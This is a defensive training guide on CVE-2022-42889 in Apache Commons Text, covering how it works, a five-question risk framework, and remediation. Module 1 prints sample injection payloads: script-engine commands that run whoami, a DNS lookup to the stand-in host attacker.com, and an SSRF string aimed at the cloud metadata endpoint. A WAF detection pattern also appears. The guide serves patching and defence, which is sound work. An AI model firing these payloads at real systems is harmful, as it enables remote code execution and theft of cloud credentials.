Apache Commons Text Vulnerability: What You Should Know

Table of Contents

• Module 1: Understanding the Vulnerability
  • What Is Apache Commons Text?
  • How the Library Processes Text — The Architecture
  • CVE-2022-42889 — The StringSubstitutor Flaw
  • How the Attack Works
  • Vulnerable Versions and Configuration Requirements
  • Comparison to Log4Shell
• Module 2: Organizational Risk Assessment
  • The Five-Question Risk Framework
  • Question 1 — What Is the CVSS Score?
  • Question 2 — Is the Application Internet-Facing?
  • Question 3 — Is There an Active Proof of Concept (POC)?
  • Question 4 — Can the Vulnerable Method Be Executed in Your Environment?
  • Question 5 — What Is the Application’s Priority Level?
  • Translating Assessment Answers into a Response Level
• Module 3: Remediation
  • Immediate Actions
  • Patch Apache Commons Text
  • Patch Java
  • Sanitize and Validate All User Input
  • Higher-Level and Long-Term Remediation
  • Building the Vulnerability Response Playbook
• Quick Reference Summary

Module 1: Understanding the Vulnerability

What Is Apache Commons Text?

Apache Commons Text is an open-source Java library maintained under the Apache Software Foundation’s Commons project. Its primary purpose is to provide utilities for:

• String manipulation — complex string operations beyond what the Java standard library provides out of the box.
• Text analysis — parsing, tokenizing, and processing natural-language-style text.
• String substitution — the StringSubstitutor class, which is the component directly implicated in this vulnerability.

Because the library is freely available, widely trusted, and saves developers from writing boilerplate text-processing code, it has been incorporated into a very large number of Java-based enterprise applications, frameworks, and products.

How the Library Processes Text — The Architecture

To understand the vulnerability it is essential to understand the three-layer processing model the library uses:

┌─────────────────────────────────────────┐
│           User / Application Input      │
│  (e.g. social media post, search query, │
│   form field, API request body)         │
└──────────────────┬──────────────────────┘
                   │ raw string
                   ▼
┌─────────────────────────────────────────┐
│            Text Analyzer Layer          │
│  Apache Commons Text — StringSubstitutor│
│  Parses the string, identifies tokens,  │
│  variable references, and lookups       │
└──────────────────┬──────────────────────┘
                   │ parsed tokens / lookup keys
                   ▼
┌─────────────────────────────────────────┐
│              Java Engine Layer          │
│  The JVM executes the lookup resolvers  │
│  (DNS, URL, script, base64, etc.)       │
│  Vulnerable JDK versions: 8 and 11      │
└──────────────────┬──────────────────────┘
                   │ resolved value
                   ▼
┌─────────────────────────────────────────┐
│           Function / Output Layer       │
│  The resolved value is returned as a    │
│  string and used by the application     │
└─────────────────────────────────────────┘

Practical example — a social media application:

Imagine a platform where users submit text posts. The back end uses Apache Commons Text to process those strings for purposes such as full-text search indexing. Most words are processed harmlessly. However, hashtags may be routed through a slightly different code path — one with scripting or lookup support. This layered architecture is exactly where the vulnerability lives: if the library’s StringSubstitutor expands a specially crafted token in the user’s input, it hands that token off to the Java engine, which then executes it.

CVE-2022-42889 — The StringSubstitutor Flaw

The core problem is that StringSubstitutor supports variable interpolation — it can replace ${prefix:value} style tokens in a string with dynamically resolved values. The library ships with several built-in interpolation prefixes, some of which are dangerous when exposed to untrusted input:

If an attacker can cause a string containing one of these prefixes to be passed to StringSubstitutor.replace() without sanitization, the JVM will execute the embedded expression.

How the Attack Works

sequenceDiagram
    participant Attacker
    participant Application
    participant StringSubstitutor
    participant JVM

    Attacker->>Application: Submit malicious input containing<br/>${script:javascript:java.lang.Runtime.getRuntime().exec('calc')}
    Application->>StringSubstitutor: Pass raw user input to replace()
    StringSubstitutor->>StringSubstitutor: Parse token — identifies "script:javascript" prefix
    StringSubstitutor->>JVM: Invoke script engine with attacker-controlled expression
    JVM->>JVM: Execute arbitrary code on the server
    JVM-->>Attacker: Remote Code Execution achieved

Step-by-step attack flow:

1. Attacker crafts malicious input. The attacker submits a string that contains a StringSubstitutor-style interpolation token. The payload embeds arbitrary Java or JavaScript code inside the ${script:...} prefix. No special infrastructure (such as an LDAP callback server) is needed — the payload is entirely self-contained in the string.

2. Application passes input to StringSubstitutor. The application, without sanitizing user input, passes the raw string to StringSubstitutor.replace().

3. Library identifies the interpolation prefix. The parser inside StringSubstitutor recognizes the ${...} syntax and extracts the prefix and expression.

4. JVM executes the expression. For script: prefixes, the library delegates to the JVM’s built-in javax.script engine. On JDK 8 and JDK 11, the Nashorn JavaScript engine is available by default. The engine evaluates the attacker-supplied expression with full JVM privileges.

5. Remote Code Execution. The attacker achieves code execution on the server under the context of the application’s JVM process.

Example malicious payloads:

# Script-based RCE via JavaScript engine
${script:javascript:java.lang.Runtime.getRuntime().exec('whoami')}

# Script-based RCE using Groovy (if Groovy is on the classpath)
${script:groovy:throw new Exception('RCE'.execute().text)}

# DNS exfiltration to confirm vulnerability (no RCE, but confirms reachability)
${dns:address:attacker.com}

# URL fetch — server-side request forgery (SSRF)
${url:UTF-8:http://169.254.169.254/latest/meta-data/}

Important: Because the payload lives entirely in the string and requires no external callback infrastructure, it is simpler to weaponize than Log4Shell in that specific sense. However, more pre-conditions must be satisfied (see next section).

Vulnerable Versions and Configuration Requirements

For successful exploitation, all of the following conditions must be true simultaneously:

flowchart TD
    A[Is Apache Commons Text version 1.5–1.9 in use?] -- No --> Z[Not exploitable via this CVE]
    A -- Yes --> B[Is untrusted input passed to StringSubstitutor.replace\(\) without sanitization?]
    B -- No --> Z
    B -- Yes --> C[Is a vulnerable Java version in use, OR is a scripting engine explicitly configured?]
    C -- No --> Z
    C -- Yes --> D[EXPLOITABLE — Remote Code Execution possible]
    style D fill:#c0392b,color:#fff
    style Z fill:#27ae60,color:#fff

Condition 1 — Library version:

• Vulnerable: Apache Commons Text 1.5, 1.6, 1.7, 1.8, 1.9
• Safe: Apache Commons Text 1.10 and later (the dangerous lookup prefixes were disabled by default)

Condition 2 — Unsanitized user input reaching StringSubstitutor:

• The application must pass externally controlled data (HTTP parameters, form fields, file uploads, API payloads, etc.) directly into StringSubstitutor.replace() or an equivalent call, without first stripping or escaping ${...} patterns.

Condition 3 — Java version or scripting engine:

• JDK 8: The Nashorn JavaScript engine is bundled and active by default. Script lookups work without any configuration.
• JDK 11: The Nashorn JavaScript engine is still bundled (though deprecated). Script lookups work without any configuration.
• JDK 15+: Nashorn was removed. Script lookups require the administrator to have explicitly installed and configured a third-party script engine (e.g., GraalVM Polyglot). This is an uncommon configuration.
• Other scripting engines (Groovy, JRuby, etc.) may also be exploitable if present on the classpath, regardless of JDK version.

Key takeaway: Because all three conditions must be met simultaneously, many organizations running this library version are not exploitable in practice. The stars have to align.

Comparison to Log4Shell

This vulnerability was widely compared to Log4Shell (CVE-2021-44228) when it was first disclosed. It is important to understand both the similarities and the significant differences.

Conclusion: While the mechanics are superficially similar (interpolation-based code execution), CVE-2022-42889 is significantly less likely to be exploitable than Log4Shell because of the additional configuration requirements. It should not cause the same level of industry-wide panic, but it must still be assessed and remediated.

Module 2: Organizational Risk Assessment

The Five-Question Risk Framework

No single metric should drive a vulnerability response. Organizations that blindly act on the CVSS score alone risk either under-responding (ignoring a genuinely critical issue) or over-responding (burning weekend resources on something that poses zero risk in their environment). The following five-question framework provides a structured, repeatable way for leadership and technical teams to jointly assess every significant vulnerability.

flowchart LR
    Q1[1. What is the CVSS score?] --> Q2[2. Is the application internet-facing?]
    Q2 --> Q3[3. Is there an active POC?]
    Q3 --> Q4[4. Can the vulnerable method execute in our environment?]
    Q4 --> Q5[5. What is the application's priority level?]
    Q5 --> R[Response level decision]

This framework is deliberately designed to be:

• Repeatable — the same five questions apply to every future vulnerability.
• Collaborative — leadership sets context; developers and administrators provide technical answers.
• Environment-specific — the same CVE may warrant emergency response at one organization and a routine patch at another.

Question 1 — What Is the CVSS Score?

The Common Vulnerability Scoring System (CVSS) provides a numerical score from 0 to 10 representing the theoretical severity of a vulnerability.

For CVE-2022-42889:

• The initial CVSS score was 9.8 — Critical.
• However, at the time of disclosure, the CVE record was under review, meaning the score was expected to be revised downward given the significant exploitation constraints described above.

Critical caveats about CVSS scores:

1. CVSS scores change. Organizations should not assume the score they see at first disclosure is final. Return to the CVE record periodically to track updates.

2. CVSS is a theoretical maximum. The base score does not account for your specific environment, configuration, or mitigating controls. A score of 9.8 in the abstract may translate to a score of 0 in your organization if the vulnerable code path is completely unexposed.

3. Never base everything on one number. CVSS is the starting point for triage, not the conclusion. That is precisely why four additional questions follow.

Question 2 — Is the Application Internet-Facing?

Why it matters: An application exposed to the internet can be targeted by any attacker on the planet. An application that is strictly internal can only be reached by someone who has already compromised your internal network — a far more expensive prerequisite for the attacker.

How to apply it:

For CVE-2022-42889: An internet-facing Java application using Apache Commons Text 1.5–1.9 that passes user input to StringSubstitutor should be treated with high urgency. An equivalent application locked behind VPN still warrants patching, but the attack window is much narrower and the panic level is lower.

Question 3 — Is There an Active Proof of Concept (POC)?

What a POC is: A proof of concept is working exploit code, typically published publicly, that demonstrates that the vulnerability is actually exploitable — not merely theoretically so.

Why it matters:

• A vulnerability without a public POC requires an attacker to do independent research to develop a working exploit. This raises the attacker’s skill and time investment considerably.
• A vulnerability with a public POC means attackers can immediately use existing code to attempt exploitation with no development effort. The barrier to attack drops dramatically.

For CVE-2022-42889:

• A POC was released concurrently with the vulnerability disclosure.
• Unlike Log4Shell, which required setting up callback infrastructure (LDAP/RMI server), this POC requires no external infrastructure — the payload is entirely within the submitted string.
• This means any attacker with basic skills can attempt exploitation immediately against any target that meets the vulnerability conditions.

Risk scoring implication: The existence of a public, infrastructure-free POC increases the practical risk for any organization that is actually vulnerable. It should raise urgency for patching.

Question 4 — Can the Vulnerable Method Be Executed in Your Environment?

This is the most technically detailed question and requires input from developers and system administrators who know the application’s internals.

Sub-questions to answer:

1. Does our application use Apache Commons Text?

   • Check pom.xml (Maven), build.gradle (Gradle), or dependency lock files.
   • Check transitive dependencies — a third-party library your application uses may pull in Apache Commons Text.

2. Which version are we on?

   • Versions 1.5 through 1.9 are vulnerable. Version 1.10 is safe.

3. Does our code pass untrusted input to StringSubstitutor?

   • Search the codebase for usages of StringSubstitutor.replace(), StringSubstitutor.replaceSystemProperties(), or construction of StringSubstitutor objects fed with user data.

4. What JDK version are we running?

   • JDK 8 or 11: Script execution works by default — higher risk.
   • JDK 15+: Script execution requires non-default setup — lower risk.

5. Do we have scripting engines on the classpath?

   • Check for Groovy, JRuby, Nashorn, GraalVM Polyglot, or other javax.script providers. These would expand exploitability even on newer JDKs.

Possible outcomes:

flowchart TD
    A[Check all conditions] --> B{All conditions met?}
    B -- Yes --> C[Exploitable — treat with full urgency]
    B -- Partial --> D[Potentially exploitable — patch and investigate further]
    B -- No --> E[Not exploitable in current configuration —<br/>still patch during next regular cycle]
    style C fill:#c0392b,color:#fff
    style D fill:#e67e22,color:#fff
    style E fill:#27ae60,color:#fff

Important nuance: Even if internal developers determine the application is currently not exploitable (e.g., input does not reach StringSubstitutor), it is still wise to upgrade the library. Code paths evolve, new features are added, and today’s safe configuration may become tomorrow’s vulnerable one.

Question 5 — What Is the Application’s Priority Level?

Not all applications carry equal business importance. This question forces the organization to contextualize the vulnerability against business operations.

Priority classification example:

For CVE-2022-42889: If the application hosting the vulnerable library is classified as P3 or P4, and the answers to questions 2–4 suggest limited exploitability, then incorporating the patch into the normal patch cycle is a rational, defensible decision.

If the application is P1 — customer-facing, revenue-generating, or handling sensitive personal or financial data — then patching should be accelerated even if the exploitability questions provide some reassurance, because the blast radius of a successful exploit is very high.

Translating Assessment Answers into a Response Level

After working through the five questions, the organization has everything it needs to choose a response level. Leadership should apply a simple model:

flowchart TD
    A[High CVSS + Internet-facing + Active POC + Exploitable in our env + Critical app] --> E[EMERGENCY — All hands, patch now, out-of-cycle]
    B[High CVSS + Internet-facing + Active POC + Uncertain exploitability + High-priority app] --> U[URGENT — Patch within 24-72 hours]
    C[High CVSS + Internal only OR Not clearly exploitable in our env + Medium-priority app] --> S[STANDARD — Incorporate into next patch cycle]
    D[Low CVSS + Internal only + No POC + Not exploitable + Low-priority app] --> R[ROUTINE — Track and patch at convenience]
    style E fill:#c0392b,color:#fff
    style U fill:#e67e22,color:#fff
    style S fill:#f1c40f
    style R fill:#27ae60,color:#fff

Response level definitions:

• EMERGENCY: Call everyone back in. Cancel weekends. Patch now. This is the Log4Shell response.
• URGENT: Accelerate the normal patch process. Complete within days. No need for all-hands crisis mode.
• STANDARD: Add to the next scheduled maintenance window or sprint.
• ROUTINE: Track the CVE, confirm it remains low-risk in your environment, patch at next opportunity.

For CVE-2022-42889 in most environments: Given the multiple configuration constraints required for exploitation, most organizations will land in the STANDARD category — patch it, but it does not warrant a crisis response.

Module 3: Remediation

Immediate Actions

Once the organization has assessed its risk level and determined a response tier, the following concrete actions apply.

flowchart LR
    A[Identify all services using\nApache Commons Text 1.5–1.9] --> B[Patch library to 1.10+]
    B --> C[Patch Java to latest supported LTS]
    C --> D[Sanitize and validate all user input]
    D --> E[Update monitoring / WAF rules]
    E --> F[Document in vulnerability playbook]

Patch Apache Commons Text

This is the primary and most direct remediation action.

Apache Commons Text 1.10 addresses the vulnerability by disabling the dangerous interpolation prefixes (script:, dns:, url:) by default. The StringSubstitutor will no longer expand these lookups unless the application explicitly re-enables them.

Maven — update pom.xml:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.10.0</version>
</dependency>

Gradle — update build.gradle:

implementation 'org.apache.commons:commons-text:1.10.0'

Steps:

1. Identify all Maven/Gradle modules in your project that declare Apache Commons Text as a direct or transitive dependency.
2. Update the version specifier to 1.10.0 or later.
3. Run a dependency audit to confirm no transitive dependency is pulling in an older version:

# Maven — show dependency tree, grep for commons-text
mvn dependency:tree | grep commons-text

# Gradle — show dependency report
./gradlew dependencies | grep commons-text

4. Rebuild and run the full test suite.
5. Deploy through your standard promotion pipeline.

Note: If you are consuming Apache Commons Text through a third-party vendor’s product (application server, framework, or packaged software), you may not be able to patch the library directly. In that case, monitor the vendor’s security advisories and apply vendor-supplied patches as they are released. This is explicitly product implementation dependent.

Patch Java

While patching Apache Commons Text to 1.10 is the primary fix, updating Java provides defense-in-depth and removes the scripting engine capability that the exploit relies on.

Even on JDK 15+, other scripting engines (Groovy, JRuby, etc.) on the classpath could still be exploited through the script: prefix. Patching the library to 1.10 remains the essential step.

Sanitize and Validate All User Input

Input sanitization is the higher-order, longer-lasting remediation step. It is not a substitute for patching the library, but it is the control that would have prevented the vulnerability from being exploitable in the first place, and it will prevent a wide class of future vulnerabilities as well.

Principle: Never pass untrusted, externally controlled data directly to a library function that interprets it as code or performs lookups. Always sanitize first.

Specific actions for this vulnerability:

1. Strip or escape ${...} patterns before passing to StringSubstitutor:

// Before calling StringSubstitutor, escape or remove interpolation patterns
public String sanitizeInput(String userInput) {
    if (userInput == null) return null;
    // Option 1: Remove all ${...} patterns entirely
    return userInput.replaceAll("\\$\\{[^}]*\\}", "");
    // Option 2: Escape the $ sign so the interpolation is not triggered
    // return userInput.replace("${", "$\\{");
}

2. Use an allowlist approach for accepted input characters — if the use case is known (e.g., a search query that should only contain alphanumerics and spaces), reject anything outside that set.

3. Validate input at the API boundary — apply validation as close to the entry point as possible, not deep inside the processing pipeline where it is easy to miss a code path.

4. Audit all StringSubstitutor usages in your codebase:

# Find all uses of StringSubstitutor in Java source files
grep -rn "StringSubstitutor" src/ --include="*.java"

# Also look for the older API
grep -rn "StrSubstitutor" src/ --include="*.java"

5. Code review checklist addition: Add a check to your pull request review process: “Does this change pass user-controlled data to StringSubstitutor, StrSubstitutor, or any string interpolation utility?”

Why this matters beyond the immediate CVE:

If an attacker successfully exploits CVE-2022-42889 and discovers that user input reaches StringSubstitutor unsanitized, that discovery also signals that other parts of the application may have similar input-handling weaknesses. Unsanitized input is a root cause for SQL injection, XSS, command injection, template injection, and many other vulnerability classes. By cleaning up input handling, you are raising the overall security posture of the application far beyond just closing this one CVE.

Higher-Level and Long-Term Remediation

Beyond the immediate patch, the following longer-term controls should be considered:

1. Application-layer input validation framework

Implement a centralized input validation layer that all external data must pass through before being processed by any library. Frameworks such as OWASP Java HTML Sanitizer, Bean Validation (JSR-380), or custom validation interceptors provide this capability.

2. Security-focused dependency management

• Integrate a software composition analysis (SCA) tool into your CI/CD pipeline (e.g., OWASP Dependency-Check, Snyk, Dependabot, or JFrog Xray).
• Configure it to fail builds when dependencies with known critical CVEs are detected.
• This ensures that future vulnerable dependency versions are caught before they reach production.

<!-- Maven: OWASP Dependency-Check plugin -->
<plugin>
    <groupId>org.owasp</groupId>
    <artifactId>dependency-check-maven</artifactId>
    <version>9.0.0</version>
    <executions>
        <execution>
            <goals>
                <goal>check</goal>
            </goals>
        </execution>
    </executions>
</plugin>

3. Web Application Firewall (WAF) rules

While not a substitute for patching, a WAF rule that detects and blocks requests containing ${script:, ${dns:, or ${url: patterns in any request parameter, header, or body can serve as a temporary mitigation while patches are prepared and deployed.

# Example WAF detection pattern (pseudo-rule)
DETECT: request body OR query string OR headers
CONTAINS: \$\{(script|dns|url|env|sys|java):
ACTION: BLOCK + LOG

4. Least-privilege JVM configuration

Run the JVM under an OS user account with the minimum necessary permissions. Even if RCE is achieved, the attacker’s initial foothold will be limited to what that OS account can do.

5. Runtime Application Self-Protection (RASP)

RASP agents instrument the JVM at runtime and can detect and block exploitation attempts at the moment of execution — even for zero-day vulnerabilities. This provides a defense-in-depth layer that does not require the application to be patched first.

Building the Vulnerability Response Playbook

One of the most valuable outputs of responding to a vulnerability like CVE-2022-42889 is the process documentation that results. Every organization should maintain a vulnerability response playbook that captures:

1. The five-question assessment framework (described in Module 2) applied consistently to every significant CVE.

2. Response level definitions — what does EMERGENCY vs. STANDARD vs. ROUTINE mean in terms of staffing, timelines, and communication?

3. Technical investigation runbook — how do we quickly determine if a given library is in use, which version, and whether the exploit conditions are met?

4. Communication templates — who is notified at each response level? What language is used for internal vs. external (customer) communication?

5. Post-incident review — after each significant vulnerability response, document what worked, what didn’t, and how the playbook should be updated.

Why this matters: Vulnerabilities will continue to be disclosed. The pace of disclosure is not slowing down. Organizations that have a structured, documented, practiced response process will respond faster, make better decisions, and avoid the false panics (and real misses) that come from improvising a response each time.

Every organization’s assessment of any given CVE will be different because every environment is different. The playbook captures the organization’s reasoning, not just its actions, making future assessments faster and more consistent.

Quick Reference Summary

CVE-2022-42889 at a Glance

Decision Flowchart — Should I Panic?

flowchart TD
    A[Do you use Apache Commons Text?] -- No --> Z[Not affected — monitor advisories]
    A -- Yes --> B[Version 1.5 through 1.9?]
    B -- No --> Z
    B -- Yes --> C[Does untrusted input reach StringSubstitutor.replace\(\)?]
    C -- No --> Y[Lower risk — patch in next cycle]
    C -- Yes --> D[Running JDK 8 or 11, OR scripting engine on classpath?]
    D -- No --> Y
    D -- Yes --> E[Is the application internet-facing?]
    E -- No --> F[Internal risk — patch urgently but no emergency]
    E -- Yes --> G[PATCH NOW — you are in the highest risk category]
    style G fill:#c0392b,color:#fff
    style F fill:#e67e22,color:#fff
    style Y fill:#f1c40f
    style Z fill:#27ae60,color:#fff

Remediation Checklist

• Identify all Maven/Gradle modules using Apache Commons Text
• Check transitive dependencies for bundled Apache Commons Text
• Upgrade Apache Commons Text to version 1.10.0 or later
• Verify no transitive dependency re-introduces an older version (mvn dependency:tree)
• Upgrade JDK to 17 LTS or 21 LTS where feasible
• Audit all StringSubstitutor usages for unsanitized user input
• Implement input sanitization to strip ${...} patterns before string substitution
• Add SCA tooling (Dependency-Check, Snyk, Dependabot) to CI/CD pipeline
• Update WAF rules to detect interpolation-style payloads
• Document assessment and response in vulnerability playbook
• Monitor CVE record for score updates and new technical findings

This vulnerability will continue to evolve as researchers and vendors analyze it further. Keep checking the official CVE record, the Apache Commons Text project security page, and your vendor advisories. The immediate risk is manageable — assess your environment methodically, remediate where necessary, and use this as an opportunity to strengthen your overall input-handling practices.

Search Terms

apache · commons · text · vulnerability · know · briefings · networking · systems · security · question · remediation · application · assessment · cve-2022-42889 · level · patch · response · risk · vulnerable